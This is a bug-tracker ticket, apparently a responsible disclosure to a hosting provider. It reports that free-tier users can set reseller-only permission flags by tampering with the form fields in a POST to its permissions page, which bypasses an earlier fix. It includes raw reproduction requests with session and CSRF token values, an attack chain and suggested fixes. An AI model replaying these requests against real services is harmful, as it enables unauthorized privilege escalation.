- Status Closed
-
Assigned To
cbay - Private
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026
FS#388 - Privilege Escalation — Free-Tier User Sets Reseller-Level Permission Flags (FS#349 Bypass)
## Summary
The admin panel's "Add permission" form (`/permissions/add/`) exposes and processes two reseller-only checkboxes for ALL users, including free-tier accounts:
- `customer_full_accounts` — "Full technical access on all accounts"
- `customer_full_servers` — "Full technical access on all servers"
I created a permission entry with both flags enabled from a free-tier (non-reseller) account. The server accepted the request with `302 Found` ("Successfully created"), and the edit page confirmed both flags were checked and stored.
Relationship to FS#349 : FS#349 reported "Reseller-Level Permission Flags Accessible to Regular Customers" and was closed. This demonstrates the fix is incomplete — the form still renders these checkboxes and the backend still processes them for non-reseller users.
## Severity
Medium-High (CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
## Environment
Detail Value
——– ——-
Account subhash (ID 486630)
Account type Free tier, individual — NOT a reseller
Permission ID (test) 473473 (created then deleted during testing)
## Steps to Reproduce
### Step 1 — Navigate to "Add permission" page
URL: `https://admin.alwaysdata.com/permissions/add/`
The form displays reseller-only checkboxes to a free-tier user:
```html
<h3>Global permissions</h3>
<input type="checkbox" name="customer_full_accounts" id="id_customer_full_accounts">
All permissions (accounts) — Full technical access on all accounts.
<input type="checkbox" name="customer_full_servers" id="id_customer_full_servers">
All permissions (servers) — Full technical access on all servers.
```
These checkboxes should not be visible or processable for a non-reseller account.
### Step 2 — Submit form with reseller flags enabled
```http
POST /permissions/add/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: django_language=en; csrftoken=q7EcXaqpfiTzZoszNjRvPxqcdOsPdp7v; sessionid=dsnux6mbw22dyhuq1g30pr0jii9tm6n0
Referer: https://admin.alwaysdata.com/permissions/add/ Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=tuowwYz11Mh9tc0a8sCKPLsv6SYA1hBuJrSyjYPg6U0yiqizLBj5u8Ix9wgf4wyP
&email=test-escalation-bypass@protonmail.com &customer_full_accounts=on
&customer_full_servers=on
&customer_account=on
&account=486630
&486630_account_contact_technical=on
&486630_account_usage=on
&486630_account_resources=on
```
Response:
```http
HTTP/1.1 302 Found
Location: /permissions/
Set-Cookie: messages=[…"Successfully created."]
```
### Step 3 — Verify flags stored on edit page
```http
GET /permissions/473473/ HTTP/1.1
Host: admin.alwaysdata.com
```
Response (HTML excerpt):
```html
<input type="email" name="email" value="test-escalation-bypass@protonmail.com" readonly>
<input type="checkbox" name="customer_full_accounts" … checked>
All permissions (accounts) — Full technical access on all accounts.
<input type="checkbox" name="customer_full_servers" … checked>
All permissions (servers) — Full technical access on all servers.
```
Both `customer_full_accounts` and `customer_full_servers` are checked. The server stored the reseller-level flags from a free-tier account.
### Step 4 — Immediate cleanup
```http
POST /permissions/473473/delete/ HTTP/1.1
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=We6XDLcsmKmQYQFIcTUdy82sevfPZhwucbAZqLsHrS5fN4X7P2Bydviuh9xu2wtP
```
Response: `302 Found` — successfully deleted.
## FS#349 Bypass Evidence
FS#349 was closed. The fix is incomplete at two layers:
1. Frontend: The reseller checkboxes are still rendered for non-reseller users
2. Backend (critical): The form processes and stores `customer_full_accounts=on` and `customer_full_servers=on` even when the submitting user is not a reseller — no server-side authorization check
Even if the checkboxes were hidden from the UI, an attacker could manually add these form fields to the POST request body.
## Impact
A free-tier user can create permission entries with reseller-level flags:
- `customer_full_accounts`: For a reseller with multiple hosting accounts, this grants the invited email complete technical control over every account. For a single-account user, the blast radius is limited but the authorization bypass is real.
- `customer_full_servers`: For a reseller with dedicated servers, this grants full server-level access.
The attack chain for real-world exploitation:
1. Attacker creates a permission entry on their own free account with both flags enabled
2. If the attacker later upgrades to reseller or gains access to a reseller account, these flags are already in place
3. Alternatively, social engineering: if an attacker tricks a reseller into adding a permission via a pre-crafted URL or form, the flags could grant full access
## Suggested Fix
1. Server-side enforcement (critical): Check `request.user.is_reseller` before including `customer_full_accounts` and `customer_full_servers` in the accepted form fields. Strip these from POST data if the user is not a reseller.
2. Frontend cleanup: Conditionally render these checkboxes only for reseller accounts.
Thanks
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
dear team any update